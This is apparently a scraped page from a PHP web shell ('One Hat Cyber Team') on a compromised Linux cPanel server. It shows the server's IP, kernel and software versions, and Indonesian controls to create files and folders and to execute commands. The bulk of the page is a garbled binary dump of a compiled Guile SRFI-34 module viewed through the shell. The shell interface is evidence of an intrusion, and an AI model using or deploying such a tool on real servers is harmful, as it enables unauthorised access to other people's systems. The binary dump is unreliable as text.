⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.19
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib64
/
guile
/
2.0
/
ccache
/
srfi
/
View File Name :
srfi-34.go
GOOF----LE-8-2.0S ] z 4 hR ] g guile� � g define-module*� � � g srfi� g srfi-34� � g filenameS� f srfi/srfi-34.scm� g exportsS� g with-exception-handler� g guard� � g replacementsS� g raise� � g set-current-module� � � g cond-expand-provide� g current-module� � g throw-key� g with-throw-handler� g throw� g make-syntax-transformer� � � g macro� g $sc-dispatch� � ! � "g any� #g each+� $g free-id� %g syntax-object� &g else� 'g top� (' � )g ribcage� *) � +g x� ,+ � -g m-@A6fpWsPs3607svu8Ro7M$-16453� .-' � /. � 0f l-@A6fpWsPs3607svu8Ro7M$-16455� 10 � 2),/1 � 3(*2 � 4g hygiene� 54 � 6%&35 � 7$6 � 8g each-any� 9"8�� :79�� ;: � <#"; � ="<�� >=9�� ?">�� @g catch� Ag dummy� Bg var� Cg clause� Dg e� Eg e*� Fg body� Gg body*� HABCDEFG � I.(((((( � Jf l-@A6fpWsPs3607svu8Ro7M$-16458� Kf l-@A6fpWsPs3607svu8Ro7M$-16459� Lf l-@A6fpWsPs3607svu8Ro7M$-16460� Mf l-@A6fpWsPs3607svu8Ro7M$-16461� Nf l-@A6fpWsPs3607svu8Ro7M$-16462� Of l-@A6fpWsPs3607svu8Ro7M$-16463� Pf l-@A6fpWsPs3607svu8Ro7M$-16464� QJKLMNOP � R)HIQ � S(R*2 � T%@S5 � U%S5 � Vg lambda� W%VS5 � Xg key� Y%XS5 � Zg cond� [%ZS5 � \g append� ]\ � ^\ � _%&S5 � `"9�� a`9�� b"a�� cg clause*� dABCcFG � e.((((( � ff l-@A6fpWsPs3607svu8Ro7M$-16476� gf l-@A6fpWsPs3607svu8Ro7M$-16477� hf l-@A6fpWsPs3607svu8Ro7M$-16478� if l-@A6fpWsPs3607svu8Ro7M$-16479� jf l-@A6fpWsPs3607svu8Ro7M$-16480� kf l-@A6fpWsPs3607svu8Ro7M$-16481� lfghijk � m)del � n(m*2 � o%@n5 � p%n5 � q%Vn5 � r%Xn5 � s%Zn5 � t%&n5 � u%n5 � vg syntax-violation� wv � xv � yf -source expression failed to match any pattern�C 5 h� � ]4 5 4 > " G 4i4i5 > " G R h n ]L 6f g key g obj g filenamef srfi/srfi-34.scm� , �� - �� C h � ] O 6 � g handler g thunk g filenamef srfi/srfi-34.scm� % �� * �� g nameg with-exception-handler�g documentationf �Returns the result(s) of invoking THUNK. HANDLER must be a procedure that accepts one argument. It is installed as the current exception handler for the dynamic extent (as determined by dynamic-wind) of the invocation of THUNK.� C R h � ] 6 � g obj g filenamef srfi/srfi-34.scm� / �� 5 �� g nameg raise�g documentationf 6Invokes the current exception handler on OBJ. The handler is called in the dynamic environment of the call to raise, except that the current exception handler is that in place for the call to with-exception-handler that installed the handler being called. The handler's continuation is otherwise unspecified.� CR4 !?TUWY[^_ h8 � ]��� 4�� 5� C � g dummy 5 g var 5 g clause 5 g e 5 g e* 5 g body 5 g body* 5 5 Cbopqrs^tu h@ � ]��� 4 5�� C � g dummy > g var > g clause > g clause* > g body > g body* > > Cxy h@ ]4 5 $ @4 5 $ @ 6 g x 9 g tmp 9 g tmp " 9 g filenamef srfi/srfi-34.scm� 8 �� 9 g documentationf �Syntax: (guard (<var> <clause1> <clause2> ...) <body>) Each <clause> should have the same form as a `cond' clause. Semantics: Evaluating a guard form evaluates <body> with an exception handler that binds the raised object to <var> and within the scope of that binding evaluates the clauses as if they were the clauses of a cond expression. That implicit cond expression is evaluated with the continuation and dynamic environment of the guard expression. If every <clause>'s <test> evaluates to false and there is no else clause, then raise is re-invoked on the raised object within the dynamic environment of the original call to raise except that the current exception handler is that of the guard expression.�g macro-typeg syntax-rules�g patternsg varg clauseg ...g elseg eg e*g ... g bodyg body*g ... g varg clauseg clause*g ... g bodyg body*g ... C5 RC � g m , g filenamef srfi/srfi-34.scm� �� - ! �� 2 ! �� : ! &�� ? ! �� I # �� L # �� � % �� u / �� � C6